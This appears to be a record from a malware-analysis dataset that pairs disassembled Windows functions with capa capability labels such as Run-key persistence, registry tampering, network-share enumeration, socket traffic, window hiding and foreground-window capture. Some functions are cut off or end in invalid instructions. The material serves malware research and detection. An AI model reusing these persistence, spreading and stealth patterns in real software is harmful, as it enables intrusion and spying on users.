joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4067a0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 4], eax
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
call fcn.004038a4
test eax, eax
je 0x406841
mov eax, dword [ebp - 4]
call fcn.004038a4
add eax, 1
jno 0x4067cf
call fcn.00402f1c
test eax, eax
jns 0x4067d8
call fcn.00402f14
push eax
push 0x2042
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x406841
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GlobalLock
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x406841
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.00406848
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GlobalUnlock
push 0
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x406838
call sub.user32.dll_EmptyClipboard
mov eax, dword [ebp - 0xc]
push eax
push 1
call sub.user32.dll_SetClipboardData
test eax, eax
setne byte [ebp - 5]
call sub.user32.dll_CloseClipboard
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GlobalFree
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret

Function at 0x406ab8
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
xor edx, edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x406b19
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x10
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x19]
push eax
call sub.kernel32.dll_GetComputerNameA
lea eax, [ebp - 0x20]
lea edx, [ebp - 0x19]
mov ecx, 0x11
call fcn.0040388c
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 4]
call fcn.00405468
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406b20
lea eax, [ebp - 0x20]
call fcn.0040372c
ret

Function at 0x406b24
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
xor edx, edx
mov dword [ebp - 0x110], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x406ba4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x109]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x110]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.0040388c
lea eax, [ebp - 0x110]
mov edx, 0x406bb8
call fcn.004038ac
mov eax, dword [ebp - 0x110]
mov edx, dword [ebp - 4]
call fcn.004054e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406bab
lea eax, [ebp - 0x110]
call fcn.0040372c
ret
Function at 0x406d20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403a94
mov eax, dword [ebp - 0xc]
call fcn.00403a94
xor eax, eax
push ebp
push 0x406dd8
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
push 0x4166c0
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00403aa4
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jns 0x406d76
call fcn.00402f14
mov dword [0x4166c4], eax
mov dword [ebp - 0x14], 4
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.00403aa4
push eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jns 0x406dad
call fcn.00402f14
mov dword [0x4166c4], eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ddf
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00403750
ret

Function at 0x406de8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403a94
mov eax, dword [ebp - 0xc]
call fcn.00403a94
xor eax, eax
push ebp
push 0x406ec6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4166c0
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00403aa4
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jns 0x406e39
call fcn.00402f14
mov dword [0x4166c4], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
call fcn.00403bd4
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push eax
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.00403aa4
push eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jns 0x406e74
call fcn.00402f14
mov dword [0x4166c4], eax
cmp dword [0x4166c4], 0
jne 0x406e98
mov eax, dword [ebp + 8]
mov eax, dword [eax]
call fcn.00403aa4
mov edx, eax
mov eax, dword [ebp + 8]
call fcn.0040385c
jmp 0x406ea0
mov eax, dword [ebp + 8]
call fcn.0040372c
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ecd
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00403750
ret
Function at 0x406ed4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403a94
mov eax, dword [ebp - 0xc]
call fcn.00403a94
mov eax, dword [ebp + 8]
call fcn.00403a94
xor eax, eax
push ebp
push 0x406fe0
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x4166c0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403aa4
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
jns 0x406f35
call fcn.00402f14
mov dword [0x4166c4], eax
cmp dword [ebp + 8], 0
jne 0x406f4d
lea eax, [ebp + 8]
mov edx, 0x406ff8
call fcn.004037c4
mov eax, dword [ebp + 8]
call fcn.004038a4
test eax, eax
jns 0x406f5e
call fcn.00402f14
push eax
lea eax, [ebp + 8]
call fcn.00403afc
mov edx, 1
dec edx
test eax, eax
je 0x406f76
cmp edx, dword [eax - 4]
jb 0x406f7b
call fcn.00402f14
inc edx
lea eax, [eax + edx - 1]
push eax
push 1
push 0
mov eax, dword [ebp - 0xc]
call fcn.00403aa4
push eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jns 0x406fa2
call fcn.00402f14
mov dword [0x4166c4], eax
cmp dword [0x4166c4], 0
sete byte [ebp - 0xd]
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406fe7
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00403750
lea eax, [ebp + 8]
call fcn.0040372c
ret

Function at 0x406ffc
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403a94
mov eax, dword [ebp - 0xc]
call fcn.00403a94
xor eax, eax
push ebp
push 0x4070b7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x4166c0
push 0
push 2
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403aa4
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
jns 0x407055
call fcn.00402f14
mov dword [0x4166c4], eax
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
mov eax, dword [ebp - 0xc]
call fcn.00403aa4
push eax
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jns 0x407081
call fcn.00402f14
mov dword [0x4166c4], eax
cmp dword [0x4166c4], 0
sete byte [ebp - 0xd]
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4070be
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00403750
ret
Function at 0x4070c8
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403a94
xor eax, eax
push ebp
push 0x407158
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
mov eax, 0x407170
call fcn.00405a3c
test al, al
jne 0x407142
mov eax, dword [ebp - 8]
call fcn.00403aa4
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegDeleteKeyA
push 0
push 0x4166c0
push 0
push 6
push 2
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00403aa4
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
sete byte [ebp - 9]
mov eax, dword [0x4166c0]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40715f
lea eax, [ebp - 8]
call fcn.0040372c
ret

Function at 0x407224
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403a94
mov eax, dword [ebp - 0xc]
call fcn.00403a94
xor eax, eax
push ebp
push 0x4072e2
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0xc], 0
jne 0x407264
lea eax, [ebp - 0xc]
mov edx, 0x4072f8
call fcn.004037c4
mov eax, dword [ebp - 0xc]
call fcn.004038a4
test eax, eax
jns 0x407275
call fcn.00402f14
push eax
lea eax, [ebp - 0xc]
call fcn.00403afc
mov edx, 1
dec edx
test eax, eax
je 0x40728d
cmp edx, dword [eax - 4]
jb 0x407292
call fcn.00402f14
inc edx
lea eax, [eax + edx - 1]
push eax
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00403aa4
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jns 0x4072b7
call fcn.00402f14
mov dword [0x4166c4], eax
cmp dword [0x4166c4], 0
sete byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4072e9
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00403750
ret

Function at 0x4072fc
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403a94
xor eax, eax
push ebp
push 0x40736c
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
mov eax, dword [ebp - 8]
call fcn.00403aa4
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jns 0x407346
call fcn.00402f14
mov dword [0x4166c4], eax
cmp dword [0x4166c4], 0
sete byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407373
lea eax, [ebp - 8]
call fcn.0040372c
ret

Function at 0x40737c
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00403a94
mov eax, dword [ebp - 0xc]
call fcn.00403a94
xor eax, eax
push ebp
push 0x407428
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4166c0
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.00403aa4
call dword [eax - 0x75]
inc ebp
cld
Function at 0x407860
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x407abe
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x407ad4
call fcn.00403780
lea eax, [ebp - 4]
mov ecx, 0x407b0c
mov edx, dword [0x416adc]
call fcn.004038f0
mov eax, dword [ebp - 4]
push eax
mov ecx, 0x407b20
mov edx, 0x407b30
mov eax, 0x80000002
call fcn.00406ed4
mov ecx, 0x407b0c
lea eax, [ebp - 8]
mov edx, dword [0x416adc]
call fcn.004038f0
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x407b20
mov edx, 0x407b68
mov eax, 0x80000001
call fcn.00406ed4
mov ecx, 0x407b0c
lea eax, [ebp - 0xc]
mov edx, dword [0x416adc]
call fcn.004038f0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, 0x407b20
mov edx, 0x407bb0
mov eax, 0x80000002
call fcn.00406ed4
lea eax, [ebp - 0x10]
mov ecx, 0x407bf0
mov edx, dword [0x416adc]
call fcn.004038f0
mov eax, dword [ebp - 0x10]
push eax
mov edx, 0x407b30
mov ecx, 0x407c04
mov eax, 0x80000001
call fcn.00406ed4
lea eax, [ebp - 0x14]
mov ecx, 0x407c14
mov edx, dword [0x416adc]
call fcn.004038f0
mov eax, dword [ebp - 0x14]
push eax
mov edx, 0x407b68
mov ecx, 0x407c28
mov eax, 0x80000002
call fcn.00406ed4
mov eax, 0x416b14
mov edx, 0x407c38
call fcn.00403780
cmp byte [0x416b50], 0
jne 0x407aa3
push 0
mov ecx, 0x407c74
mov edx, 0x407c8c
mov eax, 0x80000002
call fcn.00406ed4
push 0x407cc0
mov edx, 0x407c8c
mov ecx, 0x407cd0
mov eax, 0x80000002
call fcn.00406ed4
push 0x407ce8
mov edx, 0x407c8c
mov ecx, 0x407d14
mov eax, 0x80000002
call fcn.00406ed4
push 0x407d28
mov edx, 0x407c8c
mov ecx, 0x407d44
mov eax, 0x80000002
call fcn.00406ed4
push 0x407d58
mov edx, 0x407c8c
mov ecx, 0x407d6c
mov eax, 0x80000002
call fcn.00406ed4
push 0x407d7c
mov edx, 0x407c8c
mov ecx, 0x407d90
mov eax, 0x80000002
call fcn.00406ed4
mov ecx, 0x407b0c
lea eax, [ebp - 0x18]
mov edx, dword [0x416adc]
call fcn.004038f0
mov eax, dword [ebp - 0x18]
push eax
mov edx, 0x407c8c
mov ecx, 0x407da4
mov eax, 0x80000002
call fcn.00406ed4
push 1
mov edx, 0x407c8c
mov ecx, 0x407db8
mov eax, 0x80000002
call fcn.00406ffc
push 3
mov edx, 0x407c8c
mov ecx, 0x407dd0
mov eax, 0x80000002
call fcn.00406ffc
push 2
mov edx, 0x407c8c
mov ecx, 0x407dec
mov eax, 0x80000002
call fcn.00406ffc
push 0x120
mov edx, 0x407c8c
mov ecx, 0x407dfc
mov eax, 0x80000002
call fcn.00406ffc
mov eax, 0x416b14
mov edx, 0x407e0c
call fcn.00403780
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407ac5
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00403750
ret
Function at 0x40a3f4
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x40a3fc
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a94
mov edi, 0x416c64
xor eax, eax
push ebp
push 0x40b0a5
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00408038
mov eax, dword [ebp - 8]
call fcn.0040372c
xor ebx, ebx
mov eax, dword [ebp - 4]
call fcn.004038a4
cmp eax, 0x7f
jge 0x40a46d
push 0
push 0x416bd8
mov eax, dword [ebp - 4]
call fcn.00403aa4
push eax
call sub.kernel32.dll_OpenFile
mov dword [0x416b84], eax
cmp dword [0x416b84], 0xffffffff
jne 0x40a4a0
mov ebx, 1
jmp 0x40a4a0
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00403aa4
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x416b84], eax
cmp dword [0x416b84], 0xffffffff
jne 0x40a4a0
mov ebx, 2
test ebx, ebx
jbe 0x40a504
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
cmp eax, 0xcf
ja 0x40a4bb
bt dword [0x40b0b4], eax
jb 0x40a4f4
cmp ebx, 0x4cf
je 0x40a4f4
push 0x40b0d8
push dword [ebp - 4]
push 0x40b0e8
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.00406684
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.00403964
mov eax, dword [ebp - 0xc]
call fcn.00413eb4
mov eax, dword [0x416b84]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x40b082
mov eax, 0x416bb4
call fcn.0040372c
mov eax, 0x416bb8
call fcn.0040372c
mov eax, 0x416bbc
call fcn.0040372c
xor eax, eax
mov dword [0x416ba8], eax
xor eax, eax
mov dword [0x416bac], eax
xor eax, eax
mov dword [0x416bb0], eax
xor eax, eax
mov dword [0x416ba4], eax
mov eax, 0x416bc0
mov edx, 0x12
call fcn.00403bd4
mov eax, 0x416bc4
mov edx, 0x20
call fcn.00403bd4
mov eax, 0x416bc8
mov edx, 0x1a
call fcn.00403bd4
mov eax, 0x416bcc
mov edx, 0x2f
call fcn.00403bd4
mov eax, 0x416bd0
mov edx, 0x12
call fcn.00403bd4
mov eax, 0x416bd4
mov edx, 0x20
call fcn.00403bd4
mov eax, dword [edi]
mov byte [eax], 0
jmp 0x40afb3

Function at 0x40b178
Capabilities:
Create directory
Create process on windows
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
push ebx
xor ecx, ecx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0xc], ecx

Function at 0x40b7f8
Capabilities:
Enumerate files on windows
Enumerate files recursively
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x31
push 0
push 0
dec ecx
jne 0x40b800
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403a94
mov edi, 0x4151f0
xor eax, eax
push ebp
push 0x40bd41
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00408038
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x158]
mov ecx, 0x40bd58
mov edx, dword [ebp - 4]
call fcn.004038f0
mov eax, dword [ebp - 0x158]
call fcn.00403aa4
push eax
call sub.kernel32.dll_FindFirstFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x40bd10
Function at 0x40c02c
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x40c034
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x40c26b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x40c284
call fcn.00403780
lea eax, [ebp - 4]
push eax
push ebx
push 0x13
push 1
push 2
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x40c250
mov dword [ebp - 0xc], 0x7e0
mov eax, dword [ebp - 0xc]
call fcn.004024d0
mov esi, eax
mov eax, esi
xor ecx, ecx
mov edx, dword [ebp - 0xc]
call fcn.00402bd8
mov dword [ebp - 8], 0x3f
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetEnumResourceA
test eax, eax
je 0x40c0ba
cmp eax, 0xea
jne 0x40c22a
mov eax, dword [ebp - 8]
dec eax
test eax, eax
jl 0x40c092
inc eax
mov dword [ebp - 0x10], eax
xor ebx, ebx
mov edi, ebx
shl edi, 2
test byte [esi + edi*8 + 0xc], 2
je 0x40c0dc
lea eax, [esi + edi*8]
call fcn.0040c02c
cmp dword [esi + edi*8 + 8], 3
jne 0x40c21b
lea eax, [ebp - 0x14]
mov edx, dword [esi + edi*8 + 0x14]
call fcn.0040385c
mov edx, dword [ebp - 0x14]
mov eax, 0x416afc
mov ecx, 0x40c318
call fcn.004038f0
inc dword [0x416b38]
mov eax, 0x416b14
mov edx, 0x40c324
call fcn.00403780
mov eax, dword [0x416b38]
cmp eax, dword [0x416b3c]
jl 0x40c21b
mov eax, dword [0x416b38]
push eax
mov ecx, 0x40c3a4
mov edx, 0x40c3b4
mov eax, 0x80000002
call fcn.00406ffc
mov eax, dword [0x416afc]
push eax
mov edx, 0x40c3b4
mov ecx, 0x40c3fc
mov eax, 0x80000002
call fcn.00406ed4
xor eax, eax
mov dword [0x416b34], eax
mov word [0x4151f0], 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x416ad8]
call fcn.004038a4
mov ecx, eax
mov edx, 3
mov eax, dword [0x416afc]
call fcn.00403b04
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.00405468
mov eax, dword [ebp - 0x18]
mov edx, dword [0x416ad8]
call fcn.004039f0
jne 0x40c1c6
lea eax, [ebp - 0x20]
mov ecx, dword [0x416afc]
mov edx, 0x40c40c
call fcn.004038f0
mov eax, dword [ebp - 0x20]
call fcn.00413eb4
jmp 0x40c1eb
mov eax, dword [0x416afc]
call fcn.0040b7f8
lea eax, [ebp - 0x24]
mov ecx, dword [0x416afc]
mov edx, 0x40c420
call fcn.004038f0
mov eax, dword [ebp - 0x24]
call fcn.00413eb4
mov eax, 0x416b14
mov edx, 0x40c430
call fcn.00403780
xor eax, eax
mov dword [0x416b30], eax
mov eax, dword [0x416b30]
push eax
mov edx, 0x40c3b4
mov ecx, 0x40c4b0
mov eax, 0x80000002
call fcn.00406ffc
inc ebx
dec dword [ebp - 0x10]
jne 0x40c0c8
jmp 0x40c092
mov eax, esi
call fcn.004024f0
mov eax, dword [ebp - 4]
push eax
call sub.mpr.dll_WNetCloseEnum
test eax, eax
je 0x40c250
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.00406684
mov eax, dword [ebp - 0x28]
call fcn.00413eb4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c272
lea eax, [ebp - 0x28]
mov edx, 6
call fcn.00403750
ret
Function at 0x40c800
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x110], ebx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00403a94
mov eax, dword [ebp - 8]
call fcn.00403a94
xor eax, eax
push ebp
push 0x40c9f7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x40ca10
call fcn.00403780
mov eax, dword [ebp - 4]
call fcn.004038a4
test eax, eax
jle 0x40c8a5
lea eax, [ebp - 4]
mov edx, 0x40ca9c
call fcn.004038ac
push 0
mov eax, dword [ebp - 4]
call fcn.004038a4
push eax
lea eax, [ebp - 4]
call fcn.00403afc
push eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax - 4]
push eax
call sub.wsock32.dll_send
mov edi, eax
test bl, bl
jne 0x40c8a5
mov edx, esi
mov eax, edi
call fcn.00405420
jmp 0x40c9cc
lea eax, [ebp - 0x108]
xor ecx, ecx
mov edx, 0xff
call fcn.00402bd8
push 0
push 0xff
invalid
Function at 0x40d3f4
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0
push 0x40d434
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40d440
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
push 0
push 0
push 0x40d460
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x40df88
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40e02d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x40e044
call fcn.00403780
push 0xfa
lea eax, [ebp - 0x104]
push eax
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
lea eax, [ebp - 4]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.0040388c
mov edx, dword [ebp - 4]
mov eax, 0x40e0c4
call fcn.00403b8c
test eax, eax
jne 0x40e015
mov edx, dword [ebp - 4]
mov eax, 0x40e0d4
call fcn.00403b8c
test eax, eax
jne 0x40e015
mov edx, dword [ebp - 4]
mov eax, 0x40e0e8
call fcn.00403b8c
test eax, eax
jne 0x40e015
xor ebx, ebx
jmp 0x40e017
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e034
lea eax, [ebp - 4]
call fcn.0040372c
ret
Function at 0x4110b4
Capabilities:
Find taskbar
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x411276
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x416b14
mov edx, 0x41128c
call fcn.00403780
lea edx, [ebp - 8]
xor eax, eax
call fcn.0040272c
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.004054e4
mov edx, dword [ebp - 4]
mov eax, 0x416ae8
call fcn.00403780
cmp byte [0x416b51], 0
jne 0x41111f
mov eax, dword [0x416ae8]
push eax
mov ecx, 0x411314
mov edx, 0x411324
mov eax, 0x80000002
call fcn.00406ed4
cmp byte [0x416b51], 0
je 0x411132
call fcn.004115c8
jmp 0x41125b
xor ebx, ebx
push 0
push 0x411364
call sub.user32.dll_FindWindowA
mov ebx, eax
test ebx, ebx
jne 0x411152
push 0x3e8
call sub.kernel32.dll_Sleep
jmp 0x411134
mov eax, 0x416b14
mov edx, 0x41137c
call fcn.00403780
push 0xea60
call sub.kernel32.dll_Sleep
push 0
push 0x4113fc
push 0
push ebx
call sub.user32.dll_FindWindowExA
mov ebx, eax
push 0x411404
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
jne 0x411198
push 0x411410
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x4111fd
push 0x41141c
push esi
call sub.kernel32.dll_GetProcAddress
test eax, eax
je 0x4111fd
call eax
push 0xbb8
call sub.kernel32.dll_Sleep
push 0
push 0xd
push pe_nt_image_headers32
push ebx
call sub.user32.dll_SendMessageA
push 0x1f4
call sub.kernel32.dll_Sleep
push 0
push 0xd
push 0x101
push ebx
call sub.user32.dll_SendMessageA
push 0xc8
call sub.kernel32.dll_Sleep
mov eax, 0x411438
call fcn.00404dec
push 0x3e8
call sub.kernel32.dll_Sleep
mov eax, 0x416b14
mov edx, 0x41137c
call fcn.00403780
mov edx, 0x411440
mov eax, 0x416b64
mov ecx, 0xbb8
call fcn.00406bbc
test al, al
je 0x41125b
mov eax, 0x416b14
mov edx, 0x411470
call fcn.00403780
call fcn.004115c8
mov eax, 0x416b14
mov edx, 0x4114f4
call fcn.00403780
call fcn.00413d64
mov eax, 0x416b14
mov edx, 0x411564
call fcn.00403780
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41127d
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403750
ret